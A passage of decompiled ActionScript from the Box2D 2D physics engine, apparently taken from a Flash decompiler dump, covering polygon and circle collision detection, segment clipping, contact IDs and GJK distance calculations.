public static function FindIncidentEdge(_arg1:Array, _arg2:b2PolygonShape, _arg3:b2XForm, _arg4:int, _arg5:b2PolygonShape, _arg6:b2XForm):void{
var _local7:int;
var _local8:Array;
var _local9:int;
var _local10:Array;
var _local11:Array;
var _local12:b2Mat22;
var _local13:b2Vec2;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:int;
var _local18:Number;
var _local19:int;
var _local20:ClipVertex;
var _local21:int;
var _local22:int;
var _local23:Number;
_local7 = _arg2.m_vertexCount;
_local8 = _arg2.m_normals;
_local9 = _arg5.m_vertexCount;
_local10 = _arg5.m_vertices;
_local11 = _arg5.m_normals;
_local12 = _arg3.R;
_local13 = _local8[_arg4];
_local14 = ((_local12.col1.x * _local13.x) + (_local12.col2.x * _local13.y));
_local15 = ((_local12.col1.y * _local13.x) + (_local12.col2.y * _local13.y));
_local12 = _arg6.R;
_local16 = ((_local12.col1.x * _local14) + (_local12.col1.y * _local15));
_local15 = ((_local12.col2.x * _local14) + (_local12.col2.y * _local15));
_local14 = _local16;
_local17 = 0;
_local18 = Number.MAX_VALUE;
_local19 = 0;
while (_local19 < _local9) {
_local13 = _local11[_local19];
_local23 = ((_local14 * _local13.x) + (_local15 * _local13.y));
if (_local23 < _local18){
_local18 = _local23;
_local17 = _local19;
};
_local19++;
};
_local21 = _local17;
_local22 = (((_local21 + 1) < _local9)) ? (_local21 + 1) : 0;
_local20 = _arg1[0];
_local13 = _local10[_local21];
_local12 = _arg6.R;
_local20.v.x = (_arg6.position.x + ((_local12.col1.x * _local13.x) + (_local12.col2.x * _local13.y)));
_local20.v.y = (_arg6.position.y + ((_local12.col1.y * _local13.x) + (_local12.col2.y * _local13.y)));
_local20.id.features.referenceEdge = _arg4;
_local20.id.features.incidentEdge = _local21;
_local20.id.features.incidentVertex = 0;
_local20 = _arg1[1];
_local13 = _local10[_local22];
_local12 = _arg6.R;
_local20.v.x = (_arg6.position.x + ((_local12.col1.x * _local13.x) + (_local12.col2.x * _local13.y)));
_local20.v.y = (_arg6.position.y + ((_local12.col1.y * _local13.x) + (_local12.col2.y * _local13.y)));
_local20.id.features.referenceEdge = _arg4;
_local20.id.features.incidentEdge = _local22;
_local20.id.features.incidentVertex = 1;
}
public static function b2CollidePolygons(_arg1:b2Manifold, _arg2:b2PolygonShape, _arg3:b2XForm, _arg4:b2PolygonShape, _arg5:b2XForm):void{
var _local6:ClipVertex;
var _local7:int;
var _local8:Array;
var _local9:Number;
var _local10:int;
var _local11:Array;
var _local12:Number;
var _local13:b2PolygonShape;
var _local14:b2PolygonShape;
var _local15:b2XForm;
var _local16:b2XForm;
var _local17:int;
var _local18:uint;
var _local19:Number;
var _local20:Number;
var _local21:Array;
var _local22:int;
var _local23:Array;
var _local24:b2Vec2;
var _local25:b2Vec2;
var _local26:b2Vec2;
var _local27:b2Vec2;
var _local28:b2Vec2;
var _local29:Number;
var _local30:Number;
var _local31:Number;
var _local32:Array;
var _local33:Array;
var _local34:int;
var _local35:int;
var _local36:int;
var _local37:b2Vec2;
var _local38:Number;
var _local39:b2ManifoldPoint;
_arg1.pointCount = 0;
_local7 = 0;
_local8 = [_local7];
_local9 = FindMaxSeparation(_local8, _arg2, _arg3, _arg4, _arg5);
_local7 = _local8[0];
if (_local9 > 0){
return;
};
_local10 = 0;
_local11 = [_local10];
_local12 = FindMaxSeparation(_local11, _arg4, _arg5, _arg2, _arg3);
_local10 = _local11[0];
if (_local12 > 0){
return;
};
_local15 = new b2XForm();
_local16 = new b2XForm();
_local19 = 0.98;
_local20 = 0.001;
if (_local12 > ((_local19 * _local9) + _local20)){
_local13 = _arg4;
_local14 = _arg2;
_local15.Set(_arg5);
_local16.Set(_arg3);
_local17 = _local10;
_local18 = 1;
} else {
_local13 = _arg2;
_local14 = _arg4;
_local15.Set(_arg3);
_local16.Set(_arg5);
_local17 = _local7;
_local18 = 0;
};
_local21 = [new ClipVertex(), new ClipVertex()];
FindIncidentEdge(_local21, _local13, _local15, _local17, _local14, _local16);
_local22 = _local13.m_vertexCount;
_local23 = _local13.m_vertices;
_local24 = _local23[_local17];
_local25 = _local24.Copy();
if ((_local17 + 1) < _local22){
_local24 = _local23[int((_local17 + 1))];
_local37 = _local24.Copy();
} else {
_local24 = _local23[0];
_local37 = _local24.Copy();
};
_local26 = b2Math.SubtractVV(_local37, _local25);
_local27 = b2Math.b2MulMV(_local15.R, b2Math.SubtractVV(_local37, _local25));
_local27.Normalize();
_local28 = b2Math.b2CrossVF(_local27, 1);
_local25 = b2Math.b2MulX(_local15, _local25);
_local37 = b2Math.b2MulX(_local15, _local37);
_local29 = b2Math.b2Dot(_local28, _local25);
_local30 = -(b2Math.b2Dot(_local27, _local25));
_local31 = b2Math.b2Dot(_local27, _local37);
_local32 = [new ClipVertex(), new ClipVertex()];
_local33 = [new ClipVertex(), new ClipVertex()];
_local34 = ClipSegmentToLine(_local32, _local21, _local27.Negative(), _local30);
if (_local34 < 2){
return;
};
_local34 = ClipSegmentToLine(_local33, _local32, _local27, _local31);
if (_local34 < 2){
return;
};
_arg1.normal = (_local18) ? _local28.Negative() : _local28.Copy();
_local35 = 0;
_local36 = 0;
while (_local36 < b2Settings.b2_maxManifoldPoints) {
_local6 = _local33[_local36];
_local38 = (b2Math.b2Dot(_local28, _local6.v) - _local29);
if (_local38 <= 0){
_local39 = _arg1.points[_local35];
_local39.separation = _local38;
_local39.localPoint1 = b2Math.b2MulXT(_arg3, _local6.v);
_local39.localPoint2 = b2Math.b2MulXT(_arg5, _local6.v);
_local39.id.key = _local6.id._key;
_local39.id.features.flip = _local18;
_local35++;
};
_local36++;
};
_arg1.pointCount = _local35;
}
public static function FindMaxSeparation(_arg1:Array, _arg2:b2PolygonShape, _arg3:b2XForm, _arg4:b2PolygonShape, _arg5:b2XForm):Number{
var _local6:int;
var _local7:Array;
var _local8:b2Vec2;
var _local9:b2Mat22;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:int;
var _local15:Number;
var _local16:int;
var _local17:Number;
var _local18:int;
var _local19:Number;
var _local20:int;
var _local21:Number;
var _local22:int;
var _local23:Number;
var _local24:int;
var _local25:Number;
_local6 = _arg2.m_vertexCount;
_local7 = _arg2.m_normals;
_local9 = _arg5.R;
_local8 = _arg4.m_centroid;
_local10 = (_arg5.position.x + ((_local9.col1.x * _local8.x) + (_local9.col2.x * _local8.y)));
_local11 = (_arg5.position.y + ((_local9.col1.y * _local8.x) + (_local9.col2.y * _local8.y)));
_local9 = _arg3.R;
_local8 = _arg2.m_centroid;
_local10 = (_local10 - (_arg3.position.x + ((_local9.col1.x * _local8.x) + (_local9.col2.x * _local8.y))));
_local11 = (_local11 - (_arg3.position.y + ((_local9.col1.y * _local8.x) + (_local9.col2.y * _local8.y))));
_local12 = ((_local10 * _arg3.R.col1.x) + (_local11 * _arg3.R.col1.y));
_local13 = ((_local10 * _arg3.R.col2.x) + (_local11 * _arg3.R.col2.y));
_local14 = 0;
_local15 = -(Number.MAX_VALUE);
_local16 = 0;
while (_local16 < _local6) {
_local8 = _local7[_local16];
_local25 = ((_local8.x * _local12) + (_local8.y * _local13));
if (_local25 > _local15){
_local15 = _local25;
_local14 = _local16;
};
_local16++;
};
_local17 = EdgeSeparation(_arg2, _arg3, _local14, _arg4, _arg5);
if (_local17 > 0){
return (_local17);
};
_local18 = (((_local14 - 1) >= 0)) ? (_local14 - 1) : (_local6 - 1);
_local19 = EdgeSeparation(_arg2, _arg3, _local18, _arg4, _arg5);
if (_local19 > 0){
return (_local19);
};
_local20 = (((_local14 + 1) < _local6)) ? (_local14 + 1) : 0;
_local21 = EdgeSeparation(_arg2, _arg3, _local20, _arg4, _arg5);
if (_local21 > 0){
return (_local21);
};
if ((((_local19 > _local17)) && ((_local19 > _local21)))){
_local24 = -1;
_local22 = _local18;
_local23 = _local19;
} else {
if (_local21 > _local17){
_local24 = 1;
_local22 = _local20;
_local23 = _local21;
} else {
_arg1[0] = _local14;
return (_local17);
};
};
while (true) {
if (_local24 == -1){
_local14 = (((_local22 - 1) >= 0)) ? (_local22 - 1) : (_local6 - 1);
} else {
_local14 = (((_local22 + 1) < _local6)) ? (_local22 + 1) : 0;
};
_local17 = EdgeSeparation(_arg2, _arg3, _local14, _arg4, _arg5);
if (_local17 > 0){
return (_local17);
};
if (_local17 > _local23){
_local22 = _local14;
_local23 = _local17;
} else {
break;
};
};
_arg1[0] = _local22;
return (_local23);
}
public static function ClipSegmentToLine(_arg1:Array, _arg2:Array, _arg3:b2Vec2, _arg4:Number):int{
var _local5:ClipVertex;
var _local6:int;
var _local7:b2Vec2;
var _local8:b2Vec2;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:b2Vec2;
var _local13:ClipVertex;
_local6 = 0;
_local5 = _arg2[0];
_local7 = _local5.v;
_local5 = _arg2[1];
_local8 = _local5.v;
_local9 = (b2Math.b2Dot(_arg3, _local7) - _arg4);
_local10 = (b2Math.b2Dot(_arg3, _local8) - _arg4);
if (_local9 <= 0){
var _temp1 = _local6;
_local6 = (_local6 + 1);
var _local14 = _temp1;
_arg1[_local14] = _arg2[0];
};
if (_local10 <= 0){
var _temp2 = _local6;
_local6 = (_local6 + 1);
_local14 = _temp2;
_arg1[_local14] = _arg2[1];
};
if ((_local9 * _local10) < 0){
_local11 = (_local9 / (_local9 - _local10));
_local5 = _arg1[_local6];
_local12 = _local5.v;
_local12.x = (_local7.x + (_local11 * (_local8.x - _local7.x)));
_local12.y = (_local7.y + (_local11 * (_local8.y - _local7.y)));
_local5 = _arg1[_local6];
if (_local9 > 0){
_local13 = _arg2[0];
_local5.id = _local13.id;
} else {
_local13 = _arg2[1];
_local5.id = _local13.id;
};
_local6++;
};
return (_local6);
}
public static function b2CollideCircles(_arg1:b2Manifold, _arg2:b2CircleShape, _arg3:b2XForm, _arg4:b2CircleShape, _arg5:b2XForm):void{
var _local6:b2Mat22;
var _local7:b2Vec2;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:Number;
var _local19:b2ManifoldPoint;
var _local20:Number;
var _local21:Number;
var _local22:Number;
var _local23:Number;
var _local24:Number;
var _local25:Number;
_arg1.pointCount = 0;
_local6 = _arg3.R;
_local7 = _arg2.m_localPosition;
_local8 = (_arg3.position.x + ((_local6.col1.x * _local7.x) + (_local6.col2.x * _local7.y)));
_local9 = (_arg3.position.y + ((_local6.col1.y * _local7.x) + (_local6.col2.y * _local7.y)));
_local6 = _arg5.R;
_local7 = _arg4.m_localPosition;
_local10 = (_arg5.position.x + ((_local6.col1.x * _local7.x) + (_local6.col2.x * _local7.y)));
_local11 = (_arg5.position.y + ((_local6.col1.y * _local7.x) + (_local6.col2.y * _local7.y)));
_local12 = (_local10 - _local8);
_local13 = (_local11 - _local9);
_local14 = ((_local12 * _local12) + (_local13 * _local13));
_local15 = _arg2.m_radius;
_local16 = _arg4.m_radius;
_local17 = (_local15 + _local16);
if (_local14 > (_local17 * _local17)){
return;
};
if (_local14 < Number.MIN_VALUE){
_local18 = -(_local17);
_arg1.normal.Set(0, 1);
} else {
_local24 = Math.sqrt(_local14);
_local18 = (_local24 - _local17);
_local25 = (1 / _local24);
_arg1.normal.x = (_local25 * _local12);
_arg1.normal.y = (_local25 * _local13);
};
_arg1.pointCount = 1;
_local19 = _arg1.points[0];
_local19.id.key = 0;
_local19.separation = _local18;
_local8 = (_local8 + (_local15 * _arg1.normal.x));
_local9 = (_local9 + (_local15 * _arg1.normal.y));
_local10 = (_local10 - (_local16 * _arg1.normal.x));
_local11 = (_local11 - (_local16 * _arg1.normal.y));
_local20 = (0.5 * (_local8 + _local10));
_local21 = (0.5 * (_local9 + _local11));
_local22 = (_local20 - _arg3.position.x);
_local23 = (_local21 - _arg3.position.y);
_local19.localPoint1.x = ((_local22 * _arg3.R.col1.x) + (_local23 * _arg3.R.col1.y));
_local19.localPoint1.y = ((_local22 * _arg3.R.col2.x) + (_local23 * _arg3.R.col2.y));
_local22 = (_local20 - _arg5.position.x);
_local23 = (_local21 - _arg5.position.y);
_local19.localPoint2.x = ((_local22 * _arg5.R.col1.x) + (_local23 * _arg5.R.col1.y));
_local19.localPoint2.y = ((_local22 * _arg5.R.col2.x) + (_local23 * _arg5.R.col2.y));
}
public static function b2CollidePolygonAndCircle(_arg1:b2Manifold, _arg2:b2PolygonShape, _arg3:b2XForm, _arg4:b2CircleShape, _arg5:b2XForm):void{
var _local6:b2ManifoldPoint;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:b2Vec2;
var _local12:b2Mat22;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:int;
var _local19:Number;
var _local20:Number;
var _local21:int;
var _local22:Array;
var _local23:Array;
var _local24:int;
var _local25:int;
var _local26:int;
var _local27:b2Vec2;
var _local28:Number;
var _local29:Number;
var _local30:Number;
var _local31:Number;
var _local32:Number;
var _local33:Number;
var _local34:Number;
_arg1.pointCount = 0;
_local12 = _arg5.R;
_local11 = _arg4.m_localPosition;
_local13 = (_arg5.position.x + ((_local12.col1.x * _local11.x) + (_local12.col2.x * _local11.y)));
_local14 = (_arg5.position.y + ((_local12.col1.y * _local11.x) + (_local12.col2.y * _local11.y)));
_local7 = (_local13 - _arg3.position.x);
_local8 = (_local14 - _arg3.position.y);
_local12 = _arg3.R;
_local15 = ((_local7 * _local12.col1.x) + (_local8 * _local12.col1.y));
_local16 = ((_local7 * _local12.col2.x) + (_local8 * _local12.col2.y));
_local18 = 0;
_local19 = -(Number.MAX_VALUE);
_local20 = _arg4.m_radius;
_local21 = _arg2.m_vertexCount;
_local22 = _arg2.m_vertices;
_local23 = _arg2.m_normals;
_local24 = 0;
while (_local24 < _local21) {
_local11 = _local22[_local24];
_local7 = (_local15 - _local11.x);
_local8 = (_local16 - _local11.y);
_local11 = _local23[_local24];
_local34 = ((_local11.x * _local7) + (_local11.y * _local8));
if (_local34 > _local20){
return;
};
if (_local34 > _local19){
_local19 = _local34;
_local18 = _local24;
};
_local24++;
};
if (_local19 < Number.MIN_VALUE){
_arg1.pointCount = 1;
_local11 = _local23[_local18];
_local12 = _arg3.R;
_arg1.normal.x = ((_local12.col1.x * _local11.x) + (_local12.col2.x * _local11.y));
_arg1.normal.y = ((_local12.col1.y * _local11.x) + (_local12.col2.y * _local11.y));
_local6 = _arg1.points[0];
_local6.id.features.incidentEdge = _local18;
_local6.id.features.incidentVertex = b2_nullFeature;
_local6.id.features.referenceEdge = 0;
_local6.id.features.flip = 0;
_local9 = (_local13 - (_local20 * _arg1.normal.x));
_local10 = (_local14 - (_local20 * _arg1.normal.y));
_local7 = (_local9 - _arg3.position.x);
_local8 = (_local10 - _arg3.position.y);
_local12 = _arg3.R;
_local6.localPoint1.x = ((_local7 * _local12.col1.x) + (_local8 * _local12.col1.y));
_local6.localPoint1.y = ((_local7 * _local12.col2.x) + (_local8 * _local12.col2.y));
_local7 = (_local9 - _arg5.position.x);
_local8 = (_local10 - _arg5.position.y);
_local12 = _arg5.R;
_local6.localPoint2.x = ((_local7 * _local12.col1.x) + (_local8 * _local12.col1.y));
_local6.localPoint2.y = ((_local7 * _local12.col2.x) + (_local8 * _local12.col2.y));
_local6.separation = (_local19 - _local20);
return;
};
_local25 = _local18;
_local26 = (((_local25 + 1) < _local21)) ? (_local25 + 1) : 0;
_local11 = _local22[_local25];
_local27 = _local22[_local26];
_local28 = (_local27.x - _local11.x);
_local29 = (_local27.y - _local11.y);
_local30 = Math.sqrt(((_local28 * _local28) + (_local29 * _local29)));
_local28 = (_local28 / _local30);
_local29 = (_local29 / _local30);
_local7 = (_local15 - _local11.x);
_local8 = (_local16 - _local11.y);
_local31 = ((_local7 * _local28) + (_local8 * _local29));
_local6 = _arg1.points[0];
if (_local31 <= 0){
_local32 = _local11.x;
_local33 = _local11.y;
_local6.id.features.incidentEdge = b2_nullFeature;
_local6.id.features.incidentVertex = _local25;
} else {
if (_local31 >= _local30){
_local32 = _local27.x;
_local33 = _local27.y;
_local6.id.features.incidentEdge = b2_nullFeature;
_local6.id.features.incidentVertex = _local26;
} else {
_local32 = ((_local28 * _local31) + _local11.x);
_local33 = ((_local29 * _local31) + _local11.y);
_local6.id.features.incidentEdge = _local18;
_local6.id.features.incidentVertex = b2_nullFeature;
};
};
_local7 = (_local15 - _local32);
_local8 = (_local16 - _local33);
_local17 = Math.sqrt(((_local7 * _local7) + (_local8 * _local8)));
_local7 = (_local7 / _local17);
_local8 = (_local8 / _local17);
if (_local17 > _local20){
return;
};
_arg1.pointCount = 1;
_local12 = _arg3.R;
_arg1.normal.x = ((_local12.col1.x * _local7) + (_local12.col2.x * _local8));
_arg1.normal.y = ((_local12.col1.y * _local7) + (_local12.col2.y * _local8));
_local9 = (_local13 - (_local20 * _arg1.normal.x));
_local10 = (_local14 - (_local20 * _arg1.normal.y));
_local7 = (_local9 - _arg3.position.x);
_local8 = (_local10 - _arg3.position.y);
_local12 = _arg3.R;
_local6.localPoint1.x = ((_local7 * _local12.col1.x) + (_local8 * _local12.col1.y));
_local6.localPoint1.y = ((_local7 * _local12.col2.x) + (_local8 * _local12.col2.y));
_local7 = (_local9 - _arg5.position.x);
_local8 = (_local10 - _arg5.position.y);
_local12 = _arg5.R;
_local6.localPoint2.x = ((_local7 * _local12.col1.x) + (_local8 * _local12.col1.y));
_local6.localPoint2.y = ((_local7 * _local12.col2.x) + (_local8 * _local12.col2.y));
_local6.separation = (_local17 - _local20);
_local6.id.features.referenceEdge = 0;
_local6.id.features.flip = 0;
}
}
}//package Box2D.Collision
Section 17
//b2ContactID (Box2D.Collision.b2ContactID)
package Box2D.Collision {
public class b2ContactID {
public var _key:uint;
public var features:Features;
public function b2ContactID(){
features = new Features();
super();
features._m_id = this;
}
public function Set(_arg1:b2ContactID):void{
key = _arg1._key;
}
public function Copy():b2ContactID{
var _local1:b2ContactID;
_local1 = new b2ContactID();
_local1.key = key;
return (_local1);
}
public function get key():uint{
return (_key);
}
public function set key(_arg1:uint):void{
_key = _arg1;
features._referenceEdge = (_key & 0xFF);
features._incidentEdge = (((_key & 0xFF00) >> 8) & 0xFF);
features._incidentVertex = (((_key & 0xFF0000) >> 16) & 0xFF);
features._flip = (((_key & 4278190080) >> 24) & 0xFF);
}
}
}//package Box2D.Collision
Section 18
//b2ContactPoint (Box2D.Collision.b2ContactPoint)
package Box2D.Collision {
import Box2D.Common.Math.*;
import Box2D.Collision.Shapes.*;
public class b2ContactPoint {
public var separation:Number;
public var normal:b2Vec2;
public var position:b2Vec2;
public var restitution:Number;
public var shape1:b2Shape;
public var shape2:b2Shape;
public var id:b2ContactID;
public var friction:Number;
public var velocity:b2Vec2;
public function b2ContactPoint(){
position = new b2Vec2();
velocity = new b2Vec2();
normal = new b2Vec2();
id = new b2ContactID();
super();
}
}
}//package Box2D.Collision
Section 19
//b2Distance (Box2D.Collision.b2Distance)
package Box2D.Collision {
import Box2D.Common.Math.*;
import Box2D.Collision.Shapes.*;
import Box2D.Common.*;
public class b2Distance {
private static var s_p2s:Array = [new b2Vec2(), new b2Vec2(), new b2Vec2()];
private static var s_p1s:Array = [new b2Vec2(), new b2Vec2(), new b2Vec2()];
private static var s_points:Array = [new b2Vec2(), new b2Vec2(), new b2Vec2()];
private static var gPoint:b2Point = new b2Point();
public static var g_GJK_Iterations:int = 0;
public static function InPoints(_arg1:b2Vec2, _arg2:Array, _arg3:int):Boolean{
var _local4:Number;
var _local5:int;
var _local6:b2Vec2;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
_local4 = (100 * Number.MIN_VALUE);
_local5 = 0;
while (_local5 < _arg3) {
_local6 = _arg2[_local5];
_local7 = Math.abs((_arg1.x - _local6.x));
_local8 = Math.abs((_arg1.y - _local6.y));
_local9 = Math.max(Math.abs(_arg1.x), Math.abs(_local6.x));
_local10 = Math.max(Math.abs(_arg1.y), Math.abs(_local6.y));
if ((((_local7 < (_local4 * (_local9 + 1)))) && ((_local8 < (_local4 * (_local10 + 1)))))){
return (true);
};
_local5++;
};
return (false);
}
public static function DistanceGeneric(_arg1:b2Vec2, _arg2:b2Vec2, _arg3, _arg4:b2XForm, _arg5, _arg6:b2XForm):Number{
var _local7:b2Vec2;
var _local8:Array;
var _local9:Array;
var _local10:Array;
var _local11:int;
var _local12:Number;
var _local13:int;
var _local14:int;
var _local15:Number;
var _local16:Number;
var _local17:b2Vec2;
var _local18:b2Vec2;
var _local19:Number;
var _local20:Number;
var _local21:Number;
var _local22:Number;
var _local23:int;
_local8 = s_p1s;
_local9 = s_p2s;
_local10 = s_points;
_local11 = 0;
_arg1.SetV(_arg3.GetFirstVertex(_arg4));
_arg2.SetV(_arg5.GetFirstVertex(_arg6));
_local12 = 0;
_local13 = 20;
_local14 = 0;
while (_local14 < _local13) {
_local15 = (_arg2.x - _arg1.x);
_local16 = (_arg2.y - _arg1.y);
_local17 = _arg3.Support(_arg4, _local15, _local16);
_local18 = _arg5.Support(_arg6, -(_local15), -(_local16));
_local12 = ((_local15 * _local15) + (_local16 * _local16));
_local19 = (_local18.x - _local17.x);
_local20 = (_local18.y - _local17.y);
_local21 = ((_local15 * _local19) + (_local16 * _local20));
if ((_local12 - _local21) <= (0.01 * _local12)){
if (_local11 == 0){
_arg1.SetV(_local17);
_arg2.SetV(_local18);
};
g_GJK_Iterations = _local14;
return (Math.sqrt(_local12));
};
switch (_local11){
case 0:
_local7 = _local8[0];
_local7.SetV(_local17);
_local7 = _local9[0];
_local7.SetV(_local18);
_local7 = _local10[0];
_local7.x = _local19;
_local7.y = _local20;
_arg1.SetV(_local8[0]);
_arg2.SetV(_local9[0]);
_local11++;
break;
case 1:
_local7 = _local8[1];
_local7.SetV(_local17);
_local7 = _local9[1];
_local7.SetV(_local18);
_local7 = _local10[1];
_local7.x = _local19;
_local7.y = _local20;
_local11 = ProcessTwo(_arg1, _arg2, _local8, _local9, _local10);
break;
case 2:
_local7 = _local8[2];
_local7.SetV(_local17);
_local7 = _local9[2];
_local7.SetV(_local18);
_local7 = _local10[2];
_local7.x = _local19;
_local7.y = _local20;
_local11 = ProcessThree(_arg1, _arg2, _local8, _local9, _local10);
break;
};
if (_local11 == 3){
g_GJK_Iterations = _local14;
return (0);
};
_local22 = -(Number.MAX_VALUE);
_local23 = 0;
while (_local23 < _local11) {
_local7 = _local10[_local23];
_local22 = b2Math.b2Max(_local22, ((_local7.x * _local7.x) + (_local7.y * _local7.y)));
_local23++;
};
if ((((_local11 == 3)) || ((_local12 <= ((100 * Number.MIN_VALUE) * _local22))))){
g_GJK_Iterations = _local14;
_local15 = (_arg2.x - _arg1.x);
_local16 = (_arg2.y - _arg1.y);
_local12 = ((_local15 * _local15) + (_local16 * _local16));
return (Math.sqrt(_local12));
};
_local14++;
};
g_GJK_Iterations = _local13;
return (Math.sqrt(_local12));
}
public static function DistanceCC(_arg1:b2Vec2, _arg2:b2Vec2, _arg3:b2CircleShape, _arg4:b2XForm, _arg5:b2CircleShape, _arg6:b2XForm):Number{
var _local7:b2Mat22;
var _local8:b2Vec2;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:Number;
var _local19:Number;
var _local20:Number;
_local7 = _arg4.R;
_local8 = _arg3.m_localPosition;
_local9 = (_arg4.position.x + ((_local7.col1.x * _local8.x) + (_local7.col2.x * _local8.y)));
_local10 = (_arg4.position.y + ((_local7.col1.y * _local8.x) + (_local7.col2.y * _local8.y)));
_local7 = _arg6.R;
_local8 = _arg5.m_localPosition;
_local11 = (_arg6.position.x + ((_local7.col1.x * _local8.x) + (_local7.col2.x * _local8.y)));
_local12 = (_arg6.position.y + ((_local7.col1.y * _local8.x) + (_local7.col2.y * _local8.y)));
_local13 = (_local11 - _local9);
_local14 = (_local12 - _local10);
_local15 = ((_local13 * _local13) + (_local14 * _local14));
_local16 = (_arg3.m_radius - b2Settings.b2_toiSlop);
_local17 = (_arg5.m_radius - b2Settings.b2_toiSlop);
_local18 = (_local16 + _local17);
if (_local15 > (_local18 * _local18)){
_local19 = Math.sqrt(_local15);
_local13 = (_local13 / _local19);
_local14 = (_local14 / _local19);
_local20 = (_local19 - _local18);
_arg1.x = (_local9 + (_local16 * _local13));
_arg1.y = (_local10 + (_local16 * _local14));
_arg2.x = (_local11 - (_local17 * _local13));
_arg2.y = (_local12 - (_local17 * _local14));
return (_local20);
};
if (_local15 > (Number.MIN_VALUE * Number.MIN_VALUE)){
_local19 = Math.sqrt(_local15);
_local13 = (_local13 / _local19);
_local14 = (_local14 / _local19);
_arg1.x = (_local9 + (_local16 * _local13));
_arg1.y = (_local10 + (_local16 * _local14));
_arg2.x = _arg1.x;
_arg2.y = _arg1.y;
return (0);
};
_arg1.x = _local9;
_arg1.y = _local10;
_arg2.x = _arg1.x;
_arg2.y = _arg1.y;
return (0);
}
public static function ProcessThree(_arg1:b2Vec2, _arg2:b2Vec2, _arg3:Array, _arg4:Array, _arg5:Array):int{
var _local6:b2Vec2;
var _local7:b2Vec2;
var _local8:b2Vec2;
var _local9:b2Vec2;
var _local10:b2Vec2;
var _local11:b2Vec2;
var _local12:b2Vec2;
var _local13:b2Vec2;
var _local14:b2Vec2;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:Number;
var _local19:Number;
var _local20:Number;
var _local21:Number;
var _local22:Number;
var _local23:Number;
var _local24:Number;
var _local25:Number;
var _local26:Number;
var _local27:Number;
var _local28:Number;
var _local29:Number;
var _local30:Number;
var _local31:Number;
var _local32:Number;
var _local33:Number;
var _local34:Number;
var _local35:Number;
var _local36:Number;
var _local37:Number;
var _local38:Number;
var _local39:Number;
var _local40:Number;
var _local41:Number;
_local6 = _arg5[0];
_local7 = _arg5[1];
_local8 = _arg5[2];
_local9 = _arg3[0];
_local10 = _arg3[1];
_local11 = _arg3[2];
_local12 = _arg4[0];
_local13 = _arg4[1];
_local14 = _arg4[2];
_local15 = _local6.x;
_local16 = _local6.y;
_local17 = _local7.x;
_local18 = _local7.y;
_local19 = _local8.x;
_local20 = _local8.y;
_local21 = (_local17 - _local15);
_local22 = (_local18 - _local16);
_local23 = (_local19 - _local15);
_local24 = (_local20 - _local16);
_local25 = (_local19 - _local17);
_local26 = (_local20 - _local18);
_local27 = -(((_local15 * _local21) + (_local16 * _local22)));
_local28 = ((_local17 * _local21) + (_local18 * _local22));
_local29 = -(((_local15 * _local23) + (_local16 * _local24)));
_local30 = ((_local19 * _local23) + (_local20 * _local24));
_local31 = -(((_local17 * _local25) + (_local18 * _local26)));
_local32 = ((_local19 * _local25) + (_local20 * _local26));
if ((((_local30 <= 0)) && ((_local32 <= 0)))){
_arg1.SetV(_local11);
_arg2.SetV(_local14);
_local9.SetV(_local11);
_local12.SetV(_local14);
_local6.SetV(_local8);
return (1);
};
_local33 = ((_local21 * _local24) - (_local22 * _local23));
_local34 = (_local33 * ((_local15 * _local18) - (_local16 * _local17)));
_local36 = (_local33 * ((_local17 * _local20) - (_local18 * _local19)));
if ((((((((_local36 <= 0)) && ((_local31 >= 0)))) && ((_local32 >= 0)))) && (((_local31 + _local32) > 0)))){
_local35 = (_local31 / (_local31 + _local32));
_arg1.x = (_local10.x + (_local35 * (_local11.x - _local10.x)));
_arg1.y = (_local10.y + (_local35 * (_local11.y - _local10.y)));
_arg2.x = (_local13.x + (_local35 * (_local14.x - _local13.x)));
_arg2.y = (_local13.y + (_local35 * (_local14.y - _local13.y)));
_local9.SetV(_local11);
_local12.SetV(_local14);
_local6.SetV(_local8);
return (2);
};
_local37 = (_local33 * ((_local19 * _local16) - (_local20 * _local15)));
if ((((((((_local37 <= 0)) && ((_local29 >= 0)))) && ((_local30 >= 0)))) && (((_local29 + _local30) > 0)))){
_local35 = (_local29 / (_local29 + _local30));
_arg1.x = (_local9.x + (_local35 * (_local11.x - _local9.x)));
_arg1.y = (_local9.y + (_local35 * (_local11.y - _local9.y)));
_arg2.x = (_local12.x + (_local35 * (_local14.x - _local12.x)));
_arg2.y = (_local12.y + (_local35 * (_local14.y - _local12.y)));
_local10.SetV(_local11);
_local13.SetV(_local14);
_local7.SetV(_local8);
return (2);
};
_local38 = ((_local36 + _local37) + _local34);
_local38 = (1 / _local38);
_local39 = (_local36 * _local38);
_local40 = (_local37 * _local38);
_local41 = ((1 - _local39) - _local40);
_arg1.x = (((_local39 * _local9.x) + (_local40 * _local10.x)) + (_local41 * _local11.x));
_arg1.y = (((_local39 * _local9.y) + (_local40 * _local10.y)) + (_local41 * _local11.y));
_arg2.x = (((_local39 * _local12.x) + (_local40 * _local13.x)) + (_local41 * _local14.x));
_arg2.y = (((_local39 * _local12.y) + (_local40 * _local13.y)) + (_local41 * _local14.y));
return (3);
}
public static function DistancePC(_arg1:b2Vec2, _arg2:b2Vec2, _arg3:b2PolygonShape, _arg4:b2XForm, _arg5:b2CircleShape, _arg6:b2XForm):Number{
var _local7:b2Mat22;
var _local8:b2Vec2;
var _local9:b2Point;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
_local9 = gPoint;
_local8 = _arg5.m_localPosition;
_local7 = _arg6.R;
_local9.p.x = (_arg6.position.x + ((_local7.col1.x * _local8.x) + (_local7.col2.x * _local8.y)));
_local9.p.y = (_arg6.position.y + ((_local7.col1.y * _local8.x) + (_local7.col2.y * _local8.y)));
_local10 = DistanceGeneric(_arg1, _arg2, _arg3, _arg4, _local9, b2Math.b2XForm_identity);
_local11 = (_arg5.m_radius - b2Settings.b2_toiSlop);
